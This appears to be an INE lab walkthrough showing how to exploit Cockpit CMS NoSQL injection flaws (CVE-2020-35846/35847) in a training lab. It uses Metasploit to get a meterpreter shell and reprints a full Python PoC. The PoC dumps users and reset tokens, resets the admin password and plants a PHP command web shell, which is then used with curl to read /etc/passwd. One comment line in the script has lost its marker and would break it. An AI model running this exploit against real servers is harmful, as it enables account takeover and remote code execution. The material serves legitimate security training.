Resources
    [CVE-2020-35847 - CVE-202 ...
    22 September 22

    [CVE-2020-35847 - CVE-2020-35846] Cockpit CMS RCE

    Posted byINE
    facebooktwitterlinkedin
    news-featured

    In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

    Purpose: We are learning how to exploit the Cockpit CMS vulnerable version using the Metasploit Framework and a Python script.

    Technical difficulty: Beginner

    Introduction

    In 2020-2021, a critical vulnerability was uncovered in the Cockpit CMS. The original discovery by Nikita Petrov and Team at Positive Technologies. Cockpit CMS 0.10.0 - 0.11.1 is vulnerable to two CVEs (CVE-2020-35847 and CVE-2020-35846). An attacker can extract the user accounts using NoSQL injection and perform remote code execution on the target.

    The vulnerability severity base score is 9.8.

    Lab Environment

    In this lab environment, the user will access a Kali GUI instance. A vulnerable machine Cockpit CMS deployed on http://demo.ine.local. 

    Goal after completing this scenario: Exploit the Cockpit CMS using a Metasploit exploit module and a python POC script.

    cockpit_0.png

    Tools

    The best tools for this lab are:

    - Nmap

    - Bash Shell

    - Metasploit Framework

    - Python

    Lab Link: https://my.ine.com/INE/courses/ebd09929/cyber-security-vulnerabilities-training-library/lab/146612c8-6f68-4209-968a-50360ff2c691 

    cockpit_lab.jpg

    What is Apache Cockpit CMS?

    The cockpit is a headless CMS with an API-first approach that puts content first. It is designed to simplify the process of publication by separating content management from content consumption on the client side.

    The cockpit is focusing just on the back-end work to manage content. Rather than worry about the delivery of content through pages, its goal is to provide structured content across different channels via a simple API.

    Key features

    • Manage flexible content models. There are no pre-defined content models. Define the content model yourself.

    • Uncluttered UI. The cockpit offers you a modern and simple user interface.

    • One system, consume it the way you want. Receive your content via a simple API.

    Source: https://getcockpit.com/documentation/getting-started

    CVE-2020-35846

    Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php check function.

    CVE-2020-35847

    Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php resetpassword function.

    There is an excellent technical analysis blog post by Nikita Petrov https://swarm.ptsecurity.com/rce-cockpit-cms/

    One can perform NoSQL injection and extract sensitive information (username and extract password reset tokens). This information is later used to access the admin panel and upload a malicious file (shell.php) to gain complete control of the target server.

    The CVE-2020-35846 allows NoSQL injection attack via the Controller/Auth.php check function, and CVE-2020-35847 via the Controller/Auth.php resetpassword function that allows account takeover and remote code execution.

    There is a lot of PoCs available to exploit these vulnerabilities. Also a Metasploit module is also available.

    Solution

    Step 1: Open the lab link to access the Kali machine.

    Kali machine

    cockpit_1.jpg

    Step 2: Check if the provided machine/domain is reachable.

    Command

    ping -c 4 demo.ine.local

    cockpit_2.jpg

    The provided machine is reachable, and we also found the target's IP address from it.

    Step 3: Check open ports on the machine.

    Command

    nmap demo.ine.local

    cockpit_3.jpg

    Port 80 is open.

    Step 4: Run the firefox browser and access port 80 to identify the Cockpit CMS version.

    URL: http://demo.ine.local

    cockpit_4.jpg

    Check page source code.

    cockpit_4_1.jpg

    The web application version is mentioned for the .css and .js files.

    Target is running Cockpit CMS 0.10.0

    Step 5: Run the Metasploit framework and search for the Cockpit exploit module.

    Command

    msfconsole -q

    search cockpit

    A Metasploit module is available to exploit the Cockpit RCE vulnerability.

    cockpit_5.jpg

    Step 6: Use the module and check all available options.

    Cockpit CMS NoSQLi to RCE

    This module exploits two NoSQLi vulnerabilities to retrieve the user list, and password reset tokens from the system. Next, the USER is targetted to reset their password. Then a command injection vulnerability is used to execute the payload. While it is possible to upload a payload and execute it, the command injection provides a no disk write method which is more stealthy. Cockpit CMS 0.10.0 - 0.11.1, inclusive, contain all the necessary vulnerabilities for exploitation.

    Source: https://www.rapid7.com/db/modules/exploit/multi/http/cockpit_cms_rce 

    Commands

    use exploit/multi/http/cockpit_cms_rce

    show options

    cockpit_6.jpg

    Set RHOSTS and LHOST and run the check command to validate the vulnerability. Also, set VERBOSE to true for more details.

    Checking attacker machine IP address

    Command:

    ip addr

    cockpit_6_1.jpg

    Commands

    set RHOSTS demo.ine.local

    set LHOST 192.125.204.2

    set VERBOSE true

    check

    cockpit_6_2.jpg

    The target appears to be vulnerable.

    Exploit the server.

    Command:

    exploit

    cockpit_6_3.jpg

    Found the valid username, i.e., admin, but have not received the shell.

    Set the USER option in the module to gain the meterpreter session. The module would reset the admin password, and token, then perform RCE to gain the meterpreter session.

    Commands:

    set USER admin

    exploit

    getuid

    cockpit_6_4.jpg

    Received the shell.

    Note: If you don't receive a shell, re-run the exploit

    Step 7: Read the flag.

    Commands:

    ls /

    cat /flag.txt

    cockpit_7.jpg

    FLAG: 6ac9e6184ede4c15989f8e62d92960ec

    Exploiting Using Python

    Step 8: A python code is available to exploit Cockpit CMS RCE vulnerability. Developed by [0z09e](https://github.com/0z09e) .

    Exploit Link: https://github.com/0z09e/CVE-2020-35846

    Code:

    import requests
    import json
    import re
    import random
    import string
    import urllib
    import argparse
    import time
    def dig_users(session , url):
        found = False
        users = []
        users_data = {
            "user" :   {
                "$func" : "var_dump"
            }
        }
        path = "/auth/requestreset"
        print("[*] Sending request to dump users.")
        users_req = session.post(url + path , json=users_data)
        if "string" in users_req.text:
            raw_users =  re.findall("string.*" , users_req.text)
            [users.append(line.split()[1].replace('\"' , '')) for line in raw_users]
            print(f"[+] Found Users : {users}")
            return users
        else:
            print("[-] Maybe the target isn't vulnerable.")
            quit()
    def change_pass(session , url , user ,password , count=0 , reset=True):
        print(f"[+] Changing password of {user}")
        print("[*] Requesting for password reset token")
        request_data = {
            "user" : user
        }
        resetrequest = session.post(url + "/auth/requestreset" , json=request_data)
        if "Invalid address:  (From): root@localhost" in resetrequest.text:
            token_data = {
                "token" : {
                    "$func" : "var_dump"
                }
            }
            token_request = session.post(url + "/auth/resetpassword"  , json=token_data)
            token = re.findall("string.*" , token_request.text)[count].split()[1].replace('\"' , "")
            print(f"[+] Found token for user {user} : {token}")
            print(f"[+] Dumping {user}'s data")
            hash_dump_data = {
                "token" : token
            }
            hash_dump_request = session.post(url + "/auth/newpassword" , json=hash_dump_data)
            lines = hash_dump_request.text.split("\n")
            raw_user_data = re.findall('this.user.*' , hash_dump_request.text)[0].split(" = ")
            user_info = json.loads(raw_user_data[1].replace(';' , ''))
            if reset:
                print(f"[+] Username : {user_info.get('user')}")
                print(f"[+] Email : {user_info.get('email')}")
                print(f"[+] Group : {user_info.get('group')}")
                print(f"[+] Hash : {user_info.get('password')}")
                print(f"[*] Resetting {user}'s password.")
                password_reset_data = {
                    "token" : token,
                    "password" : password
                }
                password_reset_request = session.post(url + "/auth/resetpassword" , json=password_reset_data)
                response = json.loads(password_reset_request.text)
                if response.get("success"):
                    print("[+] Password reset succcessful")
                    print(f"[+] New password of {user} : {password}")
                    deploy_shell(session , url , user , password)
                else:
                    print("[-] Can't reset the password.")
                    quit()
            else:
                return user_info
        else:
            print("[-] Maybe the target isn't vulnerable.")
            quit()
    def deploy_shell(session , url , user , password):
        print(f"[*] Logging in as {user}")
        csrf_request = session.get(url)
        csrf_token = re.findall("csfr.*" , csrf_request.text )[0].split(" : ")[1].replace("\"" , "")
        
        login_data = {
            "auth" : {
                "user" : user,
                "password" : password
            },
            "csfr" : csrf_token
        }
        login_req = session.post(url + "/auth/check" , json=login_data)
        if (json.loads(login_req.text).get("success")):
            print(f"[+] Successfully logged in as {user}")
            file_name = f"{''.join([random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for i in range(6)])}.php"
            create_file_data = {
                "cmd" : "createfile",
                "path" : "/",
                "name" : file_name
            }
            create_file_req = session.post(url + "/media/api" , json=create_file_data)
            if (json.loads(create_file_req.text).get("success")) == 0:
                file_contents_data = {
                    "cmd" : "writefile",
                    "path" : file_name,
                    "content" : "<?php system($_GET['cmd']);?>"
                }
                file_contents_req = session.post(url + "/media/api" , json=file_contents_data)
                if (json.loads(file_contents_req.text).get("success")) == len(file_contents_data.get("content")):
                    print(f"[+] Bingoo, File has been deployed successfully : {file_name}")
                    time.sleep(1)
                    print(f"[+] File's location : {url}/{file_name}")
                    print(f"[*] Execution example : {url}/{file_name}?cmd=id")
                    print(f'[+] Output : {requests.get(url + "/" + file_name + "?cmd=id").text.rstrip()}')
                    print("[+] Good luck for Privilege Escalation :)")
                    return file_name
            else:
                print("[-] File deployment failed. Maybe {user} doesn't have the permission to do so. :(")
                quit()
        else:
            print("[-] Login failed, Try Again.")
            quit()
    def main():
        parser = argparse.ArgumentParser(description="""
    _________                __           .__  __    ___________________ ___________
    \_   ___ \  ____   ____ |  | ________ |__|/  |_  \______   \_   ___ \\_   _____/
    /    \  \/ /  _ \_/ ___\|  |/ /\____ \|  \   __\  |       _/    \  \/ |    __)_ 
    \     \___(  <_> )  \___|    < |  |_> >  ||  |    |    |   \     \____|        \
    \n \______  /\____/ \___  >__|_ \|   __/|__||__|    |____|_  /\______  /_______  /
            \/            \/     \/|__|                      \/        \/        \/ 
            Cockpit CMS NoSQL Injection to Remote Code Execution : CVE-2020-35846
            Poc written by : 0z09e (https://github.com/0z09e)""" , formatter_class=argparse.RawTextHelpFormatter)
        parser.add_argument("URL" , help="Target URL. Example : http://10.20.30.40/path/to/cockpit")
        parser.add_argument("--dump_all" , action='store_true' , default=False, help="Dump all the informations about each and every user.(No password will be changed and no shell will be deployed)")
        args = parser.parse_args()
        url = args.URL
        dump_all = args.dump_all
        password = "P@ssw0rd"
        if url[-1] == '/':
            url = url[:-1]
        print(f"[*] Target : {url}")
        session = requests.session()
        users = dig_users(session , url)
        if dump_all:
            users_data = []
            for user in users:
                custom_session = requests.session()
                users_data.append(change_pass(custom_session , url , user , password , count=users.index(user), reset=False))
                custom_session.close()
            print(f"<{'=' * 30} Informations {'=' * 30}>")
            for user_info in users_data:
                print(f"[+] Username : {user_info.get('user')}")
                print(f"[+] Email : {user_info.get('email')}")
                print(f"[+] Group : {user_info.get('group')}")
                print(f"[+] Hash : {user_info.get('password')}")
                print("\n")
                print("<-------------------------------------------------------------------------->")
        else:
            user = users[0]  Changing the 0th user's password
            change_pass(session , url , user  , password ,  count=users.index(user))
    if __name__ == "__main__":
        main()
    

    The PoC exploit would upload a PHP shell <?php system($_GET['cmd']);?> and executes id command. Also, one can extract all valid username, token and password hash.

    Copy and save the script on the attacker's machine.

    Commands:

    nano PoC.py

    <paste>

    cockpit_8.jpg

    Running the PoC script

    Command:

    python3 PoC.py http://demo.ine.local

    cockpit_8_1.jpg

    The backdoor successfully uploaded and received id command output.

    Run curl to execute other commands.

    Command:

    curl http://demo.ine.local/KvoZfb.php?cmd=cat+/etc/passwd

    cockpit_8_2.jpg

    Dump all the information about each and every user.

    Command:

    python3 PoC.py http://demo.ine.local --dump_all

    cockpit_8_3.jpg

    The python PoC code successfully exploited the target Cockpit CMS application and gained access to the target server via php shell.

    Conclusion: 

    We have successfully exploited two CVEs (CVE-2020-35846 and CVE-2020-35847) of the Cockpit CMS using the Metasploit Framework and a Python script.  

    The Cockpit is a very popular CMS. It has more than 5K starts on Github. 

    First, we discovered the admin user by exploiting the blind NoSQL injection flaw in the CMS and compromised the target Cockpit CMS using that user.

    References

    Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

    © 2024 INE. All Rights Reserved. All logos, trademarks and registered trademarks are the property of their respective owners.
    instagram Logofacebook Logotwitter Logolinkedin Logoyoutube Logo